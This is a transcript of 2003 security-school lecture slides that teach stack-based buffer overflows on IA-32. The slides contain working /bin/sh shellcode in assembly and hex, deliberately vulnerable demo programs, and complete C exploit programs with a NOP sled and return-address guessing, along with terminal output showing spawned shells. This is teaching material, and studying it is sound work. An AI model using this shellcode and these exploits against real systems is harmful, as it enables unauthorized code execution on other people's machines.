Presentation is loading. Please wait.

Presentation is loading. Please wait.

International Summer School on Information and System Security 2003 1 Stack Based Buffer Overflows Alberto Ornaghi Lorenzo Cavallaro.

Similar presentations


Presentation on theme: "International Summer School on Information and System Security 2003 1 Stack Based Buffer Overflows Alberto Ornaghi Lorenzo Cavallaro."— Presentation transcript:

1 International Summer School on Information and System Security 2003 1 Stack Based Buffer Overflows Alberto Ornaghi Lorenzo Cavallaro

2 International Summer School on Information and System Security 2003 2 Table of contents IA-32 introduction IA-32 introduction The issue The issue Code injection Code injection Shellcode Shellcode Buffer overflow Buffer overflow Local buffer overflow (no address guessing) Local buffer overflow (no address guessing)

3 International Summer School on Information and System Security 2003 3 Introduction

4 4 Stack layout int foo(int a, int b) { int i = 5; return (a + b) * i; } int main(int argc, char **argv) { int c = 3, d = 4, e = 0; e = foo(c, d); printf(“e = %d\n”, e); } 4 3 high low stack ret addr SFP 5 ret addr :

5 International Summer School on Information and System Security 2003 5 Activation Record Return Address – It’s the address of the instruction to be executed once the called procedure ends. Saved Base Pointer (saved frame pointer) – It holds EBP register value at the time the called procedure is run and it “points” to the previous activation record. ret address saved base pointer automatic variables... high low

6 International Summer School on Information and System Security 2003 6 Nested ARs int foo(int a, int b) { bar(a, b); } int bar(int a, int b) {... } int main(int argc, char **argv) { foo(c, d); } d c high low b a SFP ret address SFP

7 International Summer School on Information and System Security 2003 7 CPU registers EIP: instruction pointer “it points to the next instruction to be executed” EBP: base pointer (frame pointer) “it points to the base of the current AR (static) ESP: stack pointer “it points to the top of the stack (dynamic) d c high low ret address b SFP ret address a SFP

8 International Summer School on Information and System Security 2003 8 Prologue and Epilogue Prologue: Prologue: push %ebp(save %ebp) mov %esp, %ebp(move %ebp) Epilogue: Epilogue: leave(reset %ebp) ret(reset %eip)

9 International Summer School on Information and System Security 2003 9 Automatic variables int foo(int a, int b) { int i, j; char buf[9]; … } Default stack alignment is on a double word boundary (4 byte on ia32) So buffers are just padded to be on a double word boundary. b a high low ret address buf[0] i j SFP pad

10 International Summer School on Information and System Security 2003 10 The issue

11 International Summer School on Information and System Security 2003 11 Plain situation int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “securephd”); } b a high low ret address SFP 05 00 00 00 7B 00 00 00 6464 72 65 70 68 73 65 63 75 5 123 d r e p h s e c u

12 International Summer School on Information and System Security 2003 12 Critical Situation int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “securephdbcde”); } b a high low ret address SFP 05 00 00 00 65 00 00 00 64 62 63 64 72 65 70 68 73 65 63 75 Buffer Overflow 5 e d b c d r e p h s e c u

13 International Summer School on Information and System Security 2003 13 Very critical situation int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “securephdaaabbbbcccceeeeffff”); } b a high low ret address SFP 5 123 63 63 62 62 64 61 61 61 72 65 70 68 73 65 63 75 65 65 64 64 Ret Overflow Segmentation fault... EIP = 0x65656565

14 International Summer School on Information and System Security 2003 14 Code Injection

15 International Summer School on Information and System Security 2003 15 Ret address modification b a high low 0xbffffcab 0xbffffca7 0xbffffc8b 8B FC FF BF 90 90 int a = 3; int b = 5; int e; e = foo(a, b); printf(“%d\n”, e); ret address SFP ret addr

16 International Summer School on Information and System Security 2003 16 “ret addr” guessing (1) There are no efficient algorithms allowing to blindly find out the “ret addr”, even if there exist few techniques that may help us while exploiting such vulnerabilities. We simply try to “bruteforce” the addresses’ space keeping in mind that the OS uses virtual memory with paging and so the stack always starts at the same fixed address … 0xbfffffff 0xbffffffb 0xbffffff7 0xbfffffff 0xbffffffb 0xbffffff7 Process 1Process 2 high low

17 International Summer School on Information and System Security 2003 17 “ret addr” guessing (2) env argv main AR foo AR high low A Process image (roughly) looks like: A Process image (roughly) looks like: bar AR static (fixed) offset variable offset

18 International Summer School on Information and System Security 2003 18 “ret addr” guessing (3) Stack pointer register (esp) represents a good base to add offsets to (or subtract offsets from); the address obtained this way may be quite a good candidate as “retaddr” for the vulnerable program. buf[4] buf[0] a esp ret addr b offset (8) high low

19 International Summer School on Information and System Security 2003 19 Issues Functions that manipulate strings (strcpy, gets, etc) copy as far as they don’t find a NULL byte (string terminator). Functions that manipulate strings (strcpy, gets, etc) copy as far as they don’t find a NULL byte (string terminator). Injected code MUST NOT contain NULL bytes. Injected code MUST NOT contain NULL bytes. code[] = “\xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47”; strcpy(buf, code); buf = “\xeb\x2a\x5f\xc6\x47\x07”

20 International Summer School on Information and System Security 2003 20 “ret addr” range To improve our chance to find a suitable ret addr we can prepend to our injected code something that works like a “landing strip”: NOP (0x90) (machine instruction that does No Operation). To improve our chance to find a suitable ret addr we can prepend to our injected code something that works like a “landing strip”: NOP (0x90) (machine instruction that does No Operation). ret address 90 90 CODE INJE 90 90... Allowed “ret addr” range CTED

21 International Summer School on Information and System Security 2003 21 Buffer structure Injected buffer will look like this one: Injected buffer will look like this one: NOP EXECUTABLE CODERET ADDR code[] = “\x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf”; little endian !!

22 International Summer School on Information and System Security 2003 22 Considerations... Target buffer might be too small to hold useful codes Target buffer might be too small to hold useful codes We may encounter non executable stack region We may encounter non executable stack region We can put injected code anywhere in memory, not just into the stack We can put injected code anywhere in memory, not just into the stack

23 International Summer School on Information and System Security 2003 23 Shellcode

24 International Summer School on Information and System Security 2003 24 execve (1) int main(void) { char *name[] = { “/bin/sh”, NULL }; execve(name[0], name, NULL); } int execve(const char *filename, \ char *const argv[], \ char *const envp[] ); execve prototype (user land)

25 International Summer School on Information and System Security 2003 25 execve (2) (gdb) disass main push %ebp mov %esp,%ebp sub $0x8,%esp lea 0xfffffff8(%ebp),%eax movl $0x808b6c8,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) push $0x0 lea 0xfffffff8(%ebp),%eax push %eax mov 0xfffffff8(%ebp),%eax push %eax call 0x804bf90 … SFP %ebp $0x808b6c8 $0x0 name: name $0x808b6c8 high low stack layout 0x804bf90

26 International Summer School on Information and System Security 2003 26 execve (3) push %ebp mov %esp,%ebp … mov 0x8(%ebp),%edi mov $0x0,%eax … mov 0xc(%ebp),%ecx mov 0x10(%ebp),%edx push %ebx mov %edi,%ebx mov $0xb,%eax int $0x80 $0x0 name name[0] 0x804bf90 high low stack layout SFP %ebp 0x8(%ebp) 0xc(%ebp) 0x10(%ebp) %ebx <- 0x8(%ebp) = 0x808b6c8 %ecx <- 0xc(%ebp) = name %edx <- 0x10(%ebp) = 0x0

27 International Summer School on Information and System Security 2003 27 execve (4)  must have the string “/bin/sh” somewhere in memory.  must build the array holding the address of “/bin/sh”, followed by 0x0 (i.e., the address at which the address of the string “/bin/sh” is)  put the proper values into the proper registers We:

28 International Summer School on Information and System Security 2003 28 execve (5) Lets suppose that %ebx holds the address of the string “/bin/sh”, now it suffices to do: … movl %ebx, 0x8(%ebx) movb $0x0, 0x7(%ebx) movl $0x0, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movl $0xb, %eax int $0x80 … /sh /bin high low stack layout %ebx addr 0x8(%ebx) 0 $0x0 0xc(%ebx) addr+4 addr+8 addr+12

29 International Summer School on Information and System Security 2003 29 execve (6)  We cannot know the absolute address of the location at which the string “/bin/sh” is stored, but we don’t care … jmp ahead back: popl %ebx … ahead: call back.string \”/bin/sh\”

30 International Summer School on Information and System Security 2003 30 jmp ahead # 0xeb 0x1c back: popl %ebx # 0x5b movl %ebx, 0x8(%ebx) # 0x89 0x5b 0x08 movb $0x0, 0x7(%ebx) # 0xc6 0x43 0x07 00 movl $0x0, 0xc(%ebx) # 0xc7 0x43 0x0c 00 00 00 00 leal 0x8(%ebx), %ecx # 0x8d 0x4b 0x08 leal 0xc(%ebx), %edx # 0x8d 0x53 0x0c movl $0xb, %eax # 0xb8 0x0b 00 00 00 int $0x80 # 0xcd 0x80 ahead: call back # 0xd8 0xdf 0xff 0xff 0xff.string \”/bin/sh\” # 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 execve (7)

31 International Summer School on Information and System Security 2003 31 Nil bytes avoidance

32 International Summer School on Information and System Security 2003 32 movb $0x0, 0x7(%ebx) movl $0x0, 0xc(%ebx) movl $0xb, %eax Nil bytes xorl %eax, %eax movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) movb $0xb, %al … xorl %eax, %eax movl %ebx, 0x8(%ebx) movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movb $0xb, %al int $0x80 …

33 International Summer School on Information and System Security 2003 33 shellcode (1) int main(void) { __asm__(“ jmp ahead back: popl %ebx xorl %eax, %eax movl %ebx, 0x8(%ebx) movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movb $0xb, %al int $0x80 ahead: call back.string \”/bin/sh\” “); } Are there any issues with this test?

34 International Summer School on Information and System Security 2003 34 shellcode (2) (gdb) x/29b 0x80483c3 0x80483c3 : 0xeb 0x16 0x5b 0x31 0xc0 0x89 0x5b 0x08 0x80483cb : 0x88 0x43 0x07 0x89 0x43 0x0c 0x8d 0x4b 0x80483d3 : 0x08 0x8d 0x53 0x0c 0xb0 0x0b 0xcd 0x80 0x80483db : 0xe8 0xe5 0xff 0xff 0xff

35 International Summer School on Information and System Security 2003 35 shellcode (3) #include unsigned char code[]= "\xeb\x16\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43” “\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5” “\xff\xff\xff/bin/sh"; int main(void) { void (*f)(void) = (void (*)(void))code; f(); /* never reached … */ exit(0); }

36 International Summer School on Information and System Security 2003 36 shellcode (4) int main(void) { char *name[] = { “/bin/sh”, NULL }; char *env[] = { “PATH=/bin:/sbin:/nonexistent”, NULL }; execve(name[0], name, env); /* never reached … */ exit(1); }

37 International Summer School on Information and System Security 2003 37 shellcode (5) jmp ahead back: popl %edi jmp begin ahead: call back begin: xorl %eax, %eax movl %edi, %ebx addb $(shell - begin), %bl pushl %ebx movl %ebx, 40(%ebx) movl %eax, 44(%ebx) movb %al, 7(%ebx) leal 40(%ebx), %ecx XXXX … =/bin PATH /shA /bin high lowname[0] name[0]name[1]

38 International Summer School on Information and System Security 2003 38 shellcode (6) movl %edi, %ebx addb $(env - begin), %bl movl %ebx, 48(%ebx) movl %eax, 52(%ebx) movb %al, 28(%ebx) leal 48(%ebx), %edx popl %ebx movb $0xb, %al int $0x80 shell:.string \"/bin/sh\" # 7 bytes env: # 33 bytes: 29 w/o X and 28 w/o X and A # strlen(shell) + strlen(env) = 40 bytes.string \"APATH=/bin:/sbin:/nonexistentXXXX\“ XXXX … =/bin PATH /shA /bin high lowname[0] name[0]name[1] env[0]env[1]

39 International Summer School on Information and System Security 2003 39 Shellcode testing unsigned char shellcode[] = “\xeb\x18\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89” “\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b” “\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int main() { void (*f)(void) = (void (*)(void))shellcode; f(); } sh-2.03# id uid=0(root) gid=0(root) groups=0(root)

40 International Summer School on Information and System Security 2003 40 Vulnerable program (1) void foo(char *); int main(void) { char name[512]; memset(name, 0, sizeof (name)); fgets(name, sizeof (name), stdin); name[strlen(name) – 1] = 0; printf(“calling foo …\n”); foo(name); printf(“foo executed succesfully\n”); exit(0); }

41 International Summer School on Information and System Security 2003 41 Vulnerable program (2) void foo(char *s) { char buf[128]; fprintf(stderr, “buf @ %p\n”, buf); memset(buf, 0, sizeof (buf)); strcpy(buf, s); printf(“Hello ‘%s’\n”, buf); return; }

42 International Summer School on Information and System Security 2003 42 Vulnerable program (3) sullivan@assurancetourix%./vuln ~ PhD class calling foo … buf @ 0xbffff9fc Hello ‘PhD class’ foo executed succesfully sullivan@assurancetourix% ~ sullivan@assurancetourix% perl -e '{ print "A" x 256 }' |./vuln calling foo... buf @ 0xbffff9fc Hello 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA…AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' zsh: 2587 done perl -e '{ print "A" x 256 }' | zsh: 2588 segmentation fault (core dumped)./vuln sullivan@assurancetourix% gdb -q -c core Core was generated by `./vuln'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? ()

43 International Summer School on Information and System Security 2003 43 Exploit (1) unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh"; #define NOP 0x90 #define SIZE 256 #define OFFSET 0 #define ALIGN 0 static long __inline__ get_esp(void); int main(int argc, char **argv) { int align, offset, size, c, i; long *ptr; long addr; char *p; …

44 International Summer School on Information and System Security 2003 44 Exploit (2) p = (char *) calloc(1, size + align); /* align ourself */ p = (char *) (p + align); addr = get_esp() + offset; ptr = (long *)p; for (i = 0; i < size; i += 4) *ptr++ = addr; c = size/2 - strlen(shellcode); memset(p, NOP, c); memcpy(p + c, shellcode, strlen(shellcode)); printf("%s\n", p); exit(0); }

45 International Summer School on Information and System Security 2003 45 Exploit (3) static long __inline__ get_esp(void) { long ret; /* * force using %eax as output register to “align” * ourself to gcc output */ __asm__ ("movl %esp, %0" : "=a" (ret)); return ret; }

46 International Summer School on Information and System Security 2003 46 Exploit (4) sullivan@assurancetourix% (./x –s 160 –o –0x260; cat) |./vuln [+] using address: 0xbffff9fc [+] NOP filling: 45 bytes [+] shellcode size: 35 … ° Íèæÿÿÿ/bin/shüùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ…’ … id uid=1021(sullivan) gid=100(users) groups=100(users) ls -a. local.c shellcode.c stack.c test.c vuln.c x.c x2.c x3.c.. local shellcode stack test vuln x x2 x3 exit sullivan@assurancetourix%

47 International Summer School on Information and System Security 2003 47 Local vulnerability (1) void foo(char *); int main(int argc, char **argv) { … printf("calling foo...\n"); foo(argv[1]); printf("foo executed succesfully\n"); exit(0); } …

48 International Summer School on Information and System Security 2003 48 Local vulnerability (2) $0x0./lo cal0 shellcode 0xc0000000 … addressable in kernel space addressable in kernel/user space $0x0 env argv[1] injected buffer (shellcode’s address) … argv nil terminated shellcode

49 International Summer School on Information and System Security 2003 49 Local exploit (1) #define VULN "./local" #define SIZE 160 unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh"; int main(int argc, char **argv) { char p[SIZE]; /* put the shellcode in target's envp */ char *envp[] = { shellcode, NULL }; /* what to execute */ char *vuln[] = { VULN, p, NULL }; int *ptr, i, addr;

50 International Summer School on Information and System Security 2003 50 Local exploit (2) /* * compute return address: since strlen doesn’t * count for nil bytes, we do … * 0xc0000000 – 4 – 1 – 1 = 0xbffffffa */ addr = 0xbffffffa - strlen(shellcode) - strlen(VULN); fprintf(stderr, "[+] using address: %#010x\n", addr); /* fill buffer with computed address */ ptr = (int * )p; for (i = 0; i < SIZE; i += 4) *ptr++ = addr; execve(vuln[0], vuln, envp); fprintf(stderr, "[!] execve: %s\n", strerror(errno)); exit(1); }

51 International Summer School on Information and System Security 2003 51 Local exploit (3) sullivan@assurancetourix%./x2 [+] using address: 0xbfffffd0 calling foo... Hello 'Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ…¿O!@' sh-2.05a$ ls local shellcode.c stack.c test.c vuln.c x.c x2.c x3.c local.c shellcode stack test vuln x x2 x3 sh-2.05a$ exit exit sullivan@assurancetourix%

52 International Summer School on Information and System Security 2003 52 Contacts Lorenzo Cavallaro Lorenzo Cavallaro Alberto Ornaghi Alberto Ornaghi http://sullivan.antifork.org/ http://alor.antifork.org/ http://shellcodes.antifork.org/


Download ppt "International Summer School on Information and System Security 2003 1 Stack Based Buffer Overflows Alberto Ornaghi Lorenzo Cavallaro."

Similar presentations


Ads by Google